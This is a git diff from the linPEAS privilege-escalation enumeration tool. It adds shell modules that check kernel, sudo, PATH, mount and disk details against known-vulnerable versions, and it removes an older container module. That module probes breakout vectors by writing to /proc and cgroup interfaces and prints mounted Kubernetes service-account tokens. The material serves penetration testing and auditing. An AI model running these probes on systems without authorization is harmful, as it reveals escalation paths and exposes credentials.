"s,kernel,${SED_GREEN}," + +#-- SY) LinuxONE +print_list "is linuxONE? ................... "$NC +( (uname -a | grep "s390x" >/dev/null 2>&1) && echo "Yes" || echo_not_found "s390x") + +#-- SY) grsecurity +print_list "grsecurity present? ............ "$NC +( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity") + +#-- SY) PaX +print_list "PaX bins present? .............. "$NC +(command -v paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo_not_found "PaX") + +#-- SY) Execshield +print_list "Execshield enabled? ............ "$NC +(grep "exec-shield" /etc/sysctl.conf 2>/dev/null || echo_not_found "Execshield") | sed "s,=0,${SED_RED}," + +#-- SY) SElinux +print_list "SELinux enabled? ............... "$NC +(sestatus 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED}," + +#-- SY) Seccomp +print_list "Seccomp enabled? ............... "$NC +([ "$(grep Seccomp /proc/self/status 2>/dev/null | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," + +#-- SY) AppArmor +print_list "User namespace? ................ "$NC +if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi + +#-- SY) cgroup2 +print_list "Cgroup2 enabled? ............... "$NC +([ "$(grep cgroup2 /proc/filesystems 2>/dev/null)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," + +#-- SY) Gatekeeper +if [ "$MACPEAS" ]; then + print_list "Gatekeeper enabled? .......... "$NC + (spctl --status 2>/dev/null || echo_not_found "sestatus") | sed "s,disabled,${SED_RED}," + + print_list "sleepimage encrypted? ........ "$NC + (sysctl vm.swapusage | grep "encrypted" | sed "s,encrypted,${SED_GREEN},") || echo_no + + print_list "XProtect? .................... "$NC + (system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5 | grep -Iv "^$") || echo_no + + print_list "SIP enabled? ................. "$NC + csrutil status | sed "s,enabled,${SED_GREEN}," | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no + + print_list "Sealed Snapshot? ............. "$NC + diskutil apfs list | grep "Snapshot Sealed" | awk -F: '{print $2}' | tr -d '[:space:]' | sed "s,Yes,${SED_GREEN}," | sed "s,No,${SED_RED}," || echo_not_found + + print_list "Sealed Snapshot (2nd)? ....... "$NC + csrutil authenticated-root status | sed "s,enabled,${SED_GREEN}," | sed "s,disabled,${SED_RED}," || echo_no + + + print_list "Connected to JAMF? ........... "$NC + warn_exec jamf checkJSSConnection + + print_list "Connected to AD? ............. "$NC + dsconfigad -show && echo "" || echo_no +fi + +#-- SY) ASLR +print_list "Is ASLR enabled? ............... "$NC +ASLR=$(cat /proc/sys/kernel/randomize_va_space 2>/dev/null) +if [ -z "$ASLR" ]; then + echo_not_found "/proc/sys/kernel/randomize_va_space"; +else + if [ "$ASLR" -eq "0" ]; then printf $RED"No"$NC; else printf $GREEN"Yes"$NC; fi + echo "" +fi + +#-- SY) Printer +print_list "Printer? ....................... "$NC +(lpstat -a || system_profiler SPPrintersDataType || echo_no) 2>/dev/null + +#-- SY) Running in a virtual environment +print_list "Is this a virtual machine? ..... "$NC +hypervisorflag=$(grep flags /proc/cpuinfo 2>/dev/null | grep hypervisor) +if [ "$(command -v systemd-detect-virt 2>/dev/null || echo -n '')" ]; then + detectedvirt=$(systemd-detect-virt) + if [ "$hypervisorflag" ]; then printf $RED"Yes ($detectedvirt)"$NC; else printf $GREEN"No"$NC; fi +else + if [ "$hypervisorflag" ]; then printf $RED"Yes"$NC; else printf $GREEN"No"$NC; fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/1_system_information/1_Operative_system.sh b/linPEAS/builder/linpeas_parts/1_system_information/1_Operative_system.sh new file mode 100644 index 0000000..57d938d --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/1_Operative_system.sh @@ -0,0 +1,22 @@ +# Title: System Information - Operative System +# ID: SY_Operative_system +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get Information about the Operative system +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info, warn_exec +# Global Variables: $MACPEAS, $kernelDCW_Ubuntu_Precise_1, $kernelB, $kernelDCW_Ubuntu_Precise_2, $kernelDCW_Ubuntu_Precise_3, $kernelDCW_Ubuntu_Precise_4, $kernelDCW_Ubuntu_Precise_5, $kernelDCW_Ubuntu_Precise_6, $kernelDCW_Rhel5_1, $kernelDCW_Rhel5_2, $kernelDCW_Rhel5_3, $kernelDCW_Rhel6_1, $kernelDCW_Rhel6_2, $kernelDCW_Rhel6_3, $kernelDCW_Rhel6_4, $kernelDCW_Rhel7, $kernelDCW_Ubuntu_Trusty_1, $kernelDCW_Ubuntu_Trusty_2, $kernelDCW_Ubuntu_Trusty_3, $kernelDCW_Ubuntu_Trusty_4, $kernelDCW_Ubuntu_Xenial +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + +print_2title "Operative system" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits" +(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED}," +warn_exec lsb_release -a 2>/dev/null +if [ "$MACPEAS" ]; then + warn_exec system_profiler SPSoftwareDataType +fi +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/1_system_information/2_Sudo_version.sh b/linPEAS/builder/linpeas_parts/1_system_information/2_Sudo_version.sh new file mode 100644 index 0000000..4598b9a --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/2_Sudo_version.sh @@ -0,0 +1,22 @@ +# Title: System Information - Sudo Version +# ID: SY_Sudo_version +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get Information about the Sudo Version +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found, print_2title, print_info +# Global Variables: $sudovB +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Sudo version" +if [ "$(command -v sudo 2>/dev/null || echo -n '')" ]; then +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version" +sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED}," +else echo_not_found "sudo" +fi +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/1_system_information/3_USBCreator.sh b/linPEAS/builder/linpeas_parts/1_system_information/3_USBCreator.sh new file mode 100644 index 0000000..24db8ce --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/3_USBCreator.sh @@ -0,0 +1,33 @@ +# Title: System Information - USBCreator +# ID: SY_USBCreator +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get Information about the USBCreator +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: $pc_version, $pc_length, $pc_major, $pc_minor +# Fat linpeas: 0 +# Small linpeas: 0 + + +if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then + print_2title "USBCreator" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation" + + pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+") + if [ -z "$pc_version" ]; then + pc_version=$(apt-cache policy policykit-desktop-privileges 2>/dev/null | grep -oP "\*\*\*.*" | cut -d" " -f2) + fi + if [ -n "$pc_version" ]; then + pc_length=${#pc_version} + pc_major=$(echo "$pc_version" | cut -d. -f1) + pc_minor=$(echo "$pc_version" | cut -d. -f2) + if [ "$pc_length" -eq 4 ] && [ "$pc_major" -eq 0 ] && [ "$pc_minor" -lt 21 ]; then + echo "Vulnerable!!" | sed -${E} "s,.*,${SED_RED}," + fi + fi +fi +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/1_system_information/4_Path.sh b/linPEAS/builder/linpeas_parts/1_system_information/4_Path.sh new file mode 100644 index 0000000..8514f7d --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/4_Path.sh @@ -0,0 +1,25 @@ +# Title: System Information - Path +# ID: SY_Path +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get Information about the Path +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $DEBUG, $IAMROOT, $OLDPATH, $PATH, $Wfolders +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "PATH" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-path-abuses" +if ! [ "$IAMROOT" ]; then + echo "$OLDPATH" 2>/dev/null | sed -${E} "s,$Wfolders|\./|\.:|:\.,${SED_RED_YELLOW},g" +fi + +if [ "$DEBUG" ]; then + echo "New path exported: $PATH" +fi +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/1_system_information/5_Date.sh b/linPEAS/builder/linpeas_parts/1_system_information/5_Date.sh new file mode 100644 index 0000000..57bb475 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/5_Date.sh @@ -0,0 +1,19 @@ +# Title: System Information - Date +# ID: SY_Date +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get Information about the Date +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, warn_exec +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +print_2title "Date & uptime" +warn_exec date 2>/dev/null +warn_exec uptime 2>/dev/null +echo "" diff --git a/linPEAS/builder/linpeas_parts/1_system_information/6_CPU_info.sh b/linPEAS/builder/linpeas_parts/1_system_information/6_CPU_info.sh new file mode 100644 index 0000000..4785f32 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/6_CPU_info.sh @@ -0,0 +1,20 @@ +# Title: System Information - CPU info +# ID: SY_CPU_info +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get Information about the CPU +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, warn_exec +# Global Variables: $DEBUG, $EXTRA_CHECKS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$EXTRA_CHECKS" ] || [ "$DEBUG" ]; then + print_2title "CPU info" + warn_exec lscpu 2>/dev/null + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/1_system_information/7_Mounts.sh b/linPEAS/builder/linpeas_parts/1_system_information/7_Mounts.sh new file mode 100644 index 0000000..31ec546 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/7_Mounts.sh @@ -0,0 +1,21 @@ +# Title: System Information - Mounts +# ID: SY_Mounts +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get Information about the mounts +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $DEBUG, $mountG, $mountpermsB, $mountpermsG, $notmounted, $Wfolders, $mounted +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then + print_2title "Unmounted file-system?" + print_info "Check if you can mount umounted devices" + grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g" + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/1_system_information/8_Disks.sh b/linPEAS/builder/linpeas_parts/1_system_information/8_Disks.sh new file mode 100644 index 0000000..339db79 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/8_Disks.sh @@ -0,0 +1,27 @@ +# Title: System Information - Disks +# ID: SY_Disks +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get Information about the disks +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, warn_exec +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ -d "/dev" ] || [ "$DEBUG" ] ; then + print_2title "Any sd*/disk* disk in /dev? (limit 20)" + ls /dev 2>/dev/null | grep -Ei "^sd|^disk" | sed "s,crypt,${SED_RED}," | head -n 20 + echo "" +fi + + +if [ "$(command -v smbutil 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]; then + print_2title "Mounted SMB Shares" + warn_exec smbutil statshares -a + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/1_system_information/9_Disks_extra.sh b/linPEAS/builder/linpeas_parts/1_system_information/9_Disks_extra.sh new file mode 100644 index 0000000..7479e92 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/1_system_information/9_Disks_extra.sh @@ -0,0 +1,27 @@ +# Title: System Information - Disks +# ID: SY_Disks_extra +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Get Information about the disks +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, warn_exec +# Global Variables: $DEBUG, $EXTRA_CHECKS +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 0 + + +if ([ "$(command -v diskutil 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]) && [ "$EXTRA_CHECKS" ]; then + print_2title "Mounted disks information" + warn_exec diskutil list + echo "" +fi + +if [ "$EXTRA_CHECKS" ] || [ "$DEBUG" ]; then + print_2title "System stats" + (df -h || lsblk) 2>/dev/null || echo_not_found "df and lsblk" + warn_exec free 2>/dev/null + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/2_container.sh b/linPEAS/builder/linpeas_parts/2_container.sh deleted file mode 100644 index 39235bf..0000000 --- a/linPEAS/builder/linpeas_parts/2_container.sh +++ /dev/null @@ -1,418 +0,0 @@ -########################################### -#---------) Container functions (---------# -########################################### - -containerCheck() { - inContainer="" - containerType="$(echo_no)" - - # Are we inside docker? - if [ -f "/.dockerenv" ] || - grep "/docker/" /proc/1/cgroup -qa 2>/dev/null || - grep -qai docker /proc/self/cgroup 2>/dev/null || - [ "$(find / -maxdepth 3 -name '*dockerenv*' -exec ls -la {} \; 2>/dev/null)" ] ; then - - inContainer="1" - containerType="docker\n" - fi - - # Are we inside kubernetes? - if grep "/kubepod" /proc/1/cgroup -qa 2>/dev/null || - grep -qai kubepods /proc/self/cgroup 2>/dev/null; then - - inContainer="1" - if [ "$containerType" ]; then containerType="$containerType (kubernetes)\n" - else containerType="kubernetes\n" - fi - fi - - # Inside concourse? - if grep "/concourse" /proc/1/mounts -qa 2>/dev/null; then - inContainer="1" - if [ "$containerType" ]; then - containerType="$containerType (concourse)\n" - fi - fi - - # Are we inside LXC? - if env | grep "container=lxc" -qa 2>/dev/null || - grep "/lxc/" /proc/1/cgroup -qa 2>/dev/null; then - - inContainer="1" - containerType="lxc\n" - fi - - # Are we inside podman? - if env | grep -qa "container=podman" 2>/dev/null || - grep -qa "container=podman" /proc/1/environ 2>/dev/null; then - - inContainer="1" - containerType="podman\n" - fi - - # Check for other container platforms that report themselves in PID 1 env - if [ -z "$inContainer" ]; then - if grep -a 'container=' /proc/1/environ 2>/dev/null; then - inContainer="1" - containerType="$(grep -a 'container=' /proc/1/environ | cut -d= -f2)\n" - fi - fi -} - -inDockerGroup() { - DOCKER_GROUP="No" - if groups 2>/dev/null | grep -q '\bdocker\b'; then - DOCKER_GROUP="Yes" - fi -} - -checkDockerRootless() { - DOCKER_ROOTLESS="No" - if docker info 2>/dev/null|grep -q rootless; then - DOCKER_ROOTLESS="Yes ($TIP_DOCKER_ROOTLESS)" - fi -} - -enumerateDockerSockets() { - dockerVersion="$(echo_not_found)" - if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then - SEARCHED_DOCKER_SOCKETS="1" - for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do - if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then - if echo "$int_sock" | grep -Eq "docker"; then - dock_sock="$int_sock" - echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g" - echo "Docker enummeration:" - docker_enumerated="" - - if [ "$(command -v curl)" ]; then - sockInfoResponse="$(curl -s --unix-socket $dock_sock http://localhost/info)" - dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4) - echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' - if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi - fi - - if [ "$(command -v docker)" ] && ! [ "$docker_enumerated" ]; then - sockInfoResponse="$(docker info)" - dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4) - printf "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"' - fi - - else - echo "You have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED},g" - fi - - else - echo "You don't have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_GREEN},g" - fi - done - fi -} - -checkDockerVersionExploits() { - if echo "$dockerVersion" | grep -iq "not found"; then - VULN_CVE_2019_13139="$(echo_not_found)" - VULN_CVE_2019_5736="$(echo_not_found)" - return - fi - - VULN_CVE_2019_13139="$(echo_no)" - if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1895" ]; then - VULN_CVE_2019_13139="Yes" - fi - - VULN_CVE_2019_5736="$(echo_no)" - if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1893" ]; then - VULN_CVE_2019_5736="Yes" - fi -} - -checkContainerExploits() { - VULN_CVE_2019_5021="$(echo_no)" - if [ -f "/etc/alpine-release" ]; then - alpineVersion=$(cat /etc/alpine-release) - if [ "$(echo $alpineVersion | sed 's,\.,,g')" -ge "330" ] && [ "$(echo $alpineVersion | sed 's,\.,,g')" -le "360" ]; then - VULN_CVE_2019_5021="Yes" - fi - fi -} - -checkCreateReleaseAgent(){ - cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r subsys - do - if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then - release_agent_breakout2="Yes (unshare with $subsys)"; - rm -rf /tmp/cgroup_3628d4 - break - fi - done -} - -checkProcSysBreakouts(){ - dev_mounted="No" - if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then - dev_mounted="Yes"; - fi - - proc_mounted="No" - if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then - proc_mounted="Yes"; - fi - - run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null) - if ! [ "$run_unshare" = "Yes" ]; then - run_unshare="No" - fi - - if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then - release_agent_breakout1="Yes" - else - release_agent_breakout1="No" - fi - - release_agent_breakout2="No" - mkdir /tmp/cgroup_3628d4 - mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null - if [ $? -eq 0 ]; then - release_agent_breakout2="Yes"; - rm -rf /tmp/cgroup_3628d4 - else - mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null - if [ $? -eq 0 ]; then - release_agent_breakout2="Yes"; - rm -rf /tmp/cgroup_3628d4 - else - checkCreateReleaseAgent - fi - fi - rm -rf /tmp/cgroup_3628d4 2>/dev/null - - core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)" - modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)" - panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)" - panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)" - binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)" - proc_configgz_readable="$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)" - sysreq_trigger_dos="$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)" - kmsg_readable="$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)" # Kernel Exploit Dev - kallsyms_readable="$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)" # Kernel Exploit Dev - mem_readable="$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" - if [ "$(head -n 1 /tmp/kcore 2>/dev/null)" ]; then kcore_readable="Yes"; else kcore_readable="No"; fi - kmem_readable="$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)" - kmem_writable="$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)" - mem_readable="$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" - mem_writable="$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" - sched_debug_readable="$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)" - mountinfo_readable="$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)" - uevent_helper_breakout="$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)" - vmcoreinfo_readable="$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)" - security_present="$( (ls -l /sys/kernel/security > /dev/null && echo Yes) 2>/dev/null || echo No)" - security_writable="$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)" - efi_vars_writable="$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)" - efi_efivars_writable="$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)" -} - - -############################################## -#---------------) Containers (---------------# -############################################## -containerCheck - -print_2title "Container related tools present (if any):" -command -v docker -command -v lxc -command -v rkt -command -v kubectl -command -v podman -command -v runc - -if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then - print_2title "Am I Containered?" - execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED" -fi - -print_2title "Container details" -print_list "Is this a container? ...........$NC $containerType" - -print_list "Any running containers? ........ "$NC -# Get counts of running containers for each platform -dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l) -podmancontainers=$(podman ps --format "{{.Names}}" 2>/dev/null | wc -l) -lxccontainers=$(lxc list -c n --format csv 2>/dev/null | wc -l) -rktcontainers=$(rkt list 2>/dev/null | tail -n +2 | wc -l) -if [ "$dockercontainers" -eq "0" ] && [ "$lxccontainers" -eq "0" ] && [ "$rktcontainers" -eq "0" ] && [ "$podmancontainers" -eq "0" ]; then - echo_no -else - containerCounts="" - if [ "$dockercontainers" -ne "0" ]; then containerCounts="${containerCounts}docker($dockercontainers) "; fi - if [ "$podmancontainers" -ne "0" ]; then containerCounts="${containerCounts}podman($podmancontainers) "; fi - if [ "$lxccontainers" -ne "0" ]; then containerCounts="${containerCounts}lxc($lxccontainers) "; fi - if [ "$rktcontainers" -ne "0" ]; then containerCounts="${containerCounts}rkt($rktcontainers) "; fi - echo "Yes $containerCounts" | sed -${E} "s,.*,${SED_RED}," - - # List any running containers - if [ "$dockercontainers" -ne "0" ]; then echo "Running Docker Containers" | sed -${E} "s,.*,${SED_RED},"; docker ps | tail -n +2 2>/dev/null; echo ""; fi - if [ "$podmancontainers" -ne "0" ]; then echo "Running Podman Containers" | sed -${E} "s,.*,${SED_RED},"; podman ps | tail -n +2 2>/dev/null; echo ""; fi - if [ "$lxccontainers" -ne "0" ]; then echo "Running LXC Containers" | sed -${E} "s,.*,${SED_RED},"; lxc list 2>/dev/null; echo ""; fi - if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${SED_RED},"; rkt list 2>/dev/null; echo ""; fi -fi - -# If docker -if echo "$containerType" | grep -qi "docker"; then - print_2title "Docker Container details" - inDockerGroup - print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," - print_list "Looking and enumerating Docker Sockets (if any):\n"$NC - enumerateDockerSockets - print_list "Docker version .................$NC$dockerVersion" - checkDockerVersionExploits - print_list "Vulnerable to CVE-2019-5736 ....$NC$VULN_CVE_2019_5736"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," - print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," - if [ "$inContainer" ]; then - checkDockerRootless - print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN}," - echo "" - fi - if df -h | grep docker; then - print_2title "Docker Overlays" - df -h | grep docker - fi -fi - -# If token secrets mounted -if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then - print_2title "Listing mounted tokens" - print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod" - ALREADY="IinItialVaaluE" - for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do - TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/')) - if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then - ALREADY="$ALREADY|$TOKEN" - echo "Directory: $i" - echo "Namespace: $(cat $i)" - echo "" - echo $TOKEN - echo "================================================================================" - echo "" - fi - done -fi - -if [ "$inContainer" ]; then - echo "" - print_2title "Container & breakout enumeration" - print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout" - print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')" - if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then - print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n" - fi - print_list "Seccomp enabled? ............... "$NC - ([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," - - print_list "AppArmor profile? .............. "$NC - (cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN}," - - print_list "User proc namespace? ........... "$NC - if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi - - checkContainerExploits - print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW}," - - print_3title "Breakout via mounts" - print_info 